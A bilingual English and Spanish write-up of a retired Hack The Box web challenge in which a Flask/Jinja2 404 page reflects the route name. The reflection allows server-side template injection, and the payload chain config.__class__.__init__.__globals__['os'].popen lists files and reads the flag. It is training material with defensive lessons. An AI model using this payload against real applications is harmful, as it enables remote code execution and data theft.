Templated
An "under construction" page served by Flask/Jinja2. The route name is reflected in the 404 error, enabling SSTI ({{7*7}}=49), RCE and flag disclosure.Challenge overview
| Field | Value |
|---|---|
| Platform | Hack The Box · Challenge |
| Category | Web |
| Difficulty | Easy |
| State | Retired |
Attack map
[Web] Flask/Jinja2
│
▼
[404] route reflected in error
│
▼
[SSTI {{7*7}}=49] confirmed
│
▼
[RCE] __globals__['os'].popen
│
▼
[FLAG]Página "en construcción" servida con Flask/Jinja2. El nombre de la ruta se refleja en el error 404, lo que permite SSTI ({{7*7}}=49), RCE y lectura de la flag.Ficha del challenge
| Campo | Valor |
|---|---|
| Plataforma | Hack The Box · Challenge |
| Categoría | Web |
| Dificultad | Easy |
| Estado | Retirado |
Mapa del ataque
[Web] Flask/Jinja2
│
▼
[404] ruta reflejada en el error
│
▼
[SSTI {{7*7}}=49] confirmado
│
▼
[RCE] __globals__['os'].popen
│
▼
[FLAG]
1. Recon
The page itself advertises powered by Flask/Jinja2 under an "under construction" banner. A Jinja2 stack that also reflects user content is an immediate SSTI candidate, so the goal is clear from the first glance: get RCE and read the flag stored on the filesystem.Site Still Under Construction
powered by Flask/Jinja22. Find the reflection point
Requesting a non-existent route returns a 404 that includes the route name we asked for. That reflection is the vector: whatever we put in the URL isn't shown verbatim — it's processed and dropped into the error template.
curl http://TARGET/fooThe page '/foo' could not be found3. Confirm the SSTI
In Jinja2,{{ }}evaluates Python expressions instead of printing them as plain text. If{{7*7}}comes back as 49 instead of the literal string "{{7*7}}", the server is interpreting our input as code, not data: SSTI confirmed.
http://TARGET/{{7*7}}494. Anatomy of the RCE payload
Before firing it, it's worth understanding what each piece of the chain does — it isn't magic, it's walking Python's object graph from something available in the template all the way to a module we can use to run commands.
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}config — Flask's internal config object, already available inside the template context.
__class__.__init__.__globals__ — climbs from the instance to its class, into the constructor (__init__), and exposes that module's global namespace — where every module it imported, including os, lives.
['os'] — pulls the os module out of that globals dict.
popen('ls') — runs the given system command.
.read() — returns the command's output as a string, which Jinja2 drops straight into the HTTP response.
5. Run the payload and list the filesystem
With the chain understood, we actually fire it. First we list the filesystem root to confirm exactly where the flag lives before reading it.
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var6. Read the flag
The listing already gave us the filename (flag.txt) at the root. All that's left is swappinglsforcat flag.txtinside the samepopen().
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}Chain summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | 404 error | Route name reflected in template | Injection point |
| Payload | Python object graph | config.__class__.__init__.__globals__ exposes imported modules | os module reachable from the template |
| Exploitation | Jinja2 + os.popen | SSTI → RCE | flag.txt read |
Lessons learned
- Any user data reflected in a template is an SSTI candidate; never render it as part of the template.
- The
config.__class__.__init__.__globals__['os']chain is the canonical SSTI-to-RCE jump in Flask/Jinja2. - That jump doesn't depend on a specific object —
configwas simply the first thing available in the template context; almost any other object would have worked just as well to reach__globals__. - Error messages that reflect input are gold mines — always inspect them.
1. Reconocimiento
La propia página anuncia powered by Flask/Jinja2 bajo un aviso de "en construcción". Un stack Jinja2 que además refleja contenido del usuario es candidato inmediato a SSTI, así que el objetivo queda claro desde el primer vistazo: conseguir RCE y leer la flag almacenada en el sistema.Site Still Under Construction
powered by Flask/Jinja22. Ver el punto de reflexión
Pedir una ruta inexistente devuelve un 404 que incluye el nombre de la ruta que pedimos. Ese reflejo es el vector: lo que pongamos en la URL no se muestra tal cual, se procesa y se inserta en la plantilla de error.
curl http://TARGET/fooThe page '/foo' could not be found3. Confirmar la SSTI
En Jinja2,{{ }}evalúa expresiones Python, no las imprime como texto plano. Si{{7*7}}devuelve 49 en vez de literalmente "{{7*7}}", el servidor está interpretando nuestro input como código y no como dato: SSTI confirmada.
http://TARGET/{{7*7}}494. Anatomía del payload de RCE
Antes de lanzarlo conviene entender qué hace cada pieza de la cadena: no es magia, es recorrer el grafo de objetos de Python desde algo disponible en la plantilla hasta llegar a un módulo con el que ejecutar comandos.
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}config — objeto interno de Flask, disponible directamente dentro del contexto de la plantilla.
__class__.__init__.__globals__ — sube de la instancia a su clase, entra en el constructor (__init__) y expone el espacio de nombres global de ese módulo: ahí viven todos los módulos que ese fichero importó, incluido os.
['os'] — extrae el módulo os de ese diccionario de globals.
popen('ls') — ejecuta el comando de sistema indicado.
.read() — devuelve la salida del comando como string, que Jinja2 inserta directamente en la respuesta HTTP.
5. Ejecutar el payload y listar el sistema de archivos
Con la cadena entendida, la lanzamos de verdad. Primero listamos la raíz del sistema para confirmar dónde vive la flag antes de leerla.
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var6. Leer la flag
El listado ya nos dio el nombre del fichero (flag.txt) en la raíz. Solo hace falta cambiarlsporcat flag.txtdentro del mismopopen().
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}Resumen de la cadena
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | Error 404 | Nombre de ruta reflejado en plantilla | Punto de inyección |
| Payload | Grafo de objetos Python | config.__class__.__init__.__globals__ expone los módulos importados | Módulo os alcanzable desde la plantilla |
| Explotación | Jinja2 + os.popen | SSTI → RCE | Lectura de flag.txt |
Lecciones aprendidas
- Cualquier dato del usuario reflejado en una plantilla es un candidato a SSTI; nunca lo renderices como parte de la plantilla.
- La cadena
config.__class__.__init__.__globals__['os']es el salto canónico de SSTI a RCE en Flask/Jinja2. - Ese salto no depende de un objeto concreto:
configes solo el primero que teníamos a mano en el contexto de la plantilla; casi cualquier otro objeto habría servido igual para llegar a__globals__. - Los mensajes de error que reflejan input son minas de oro: revísalos siempre.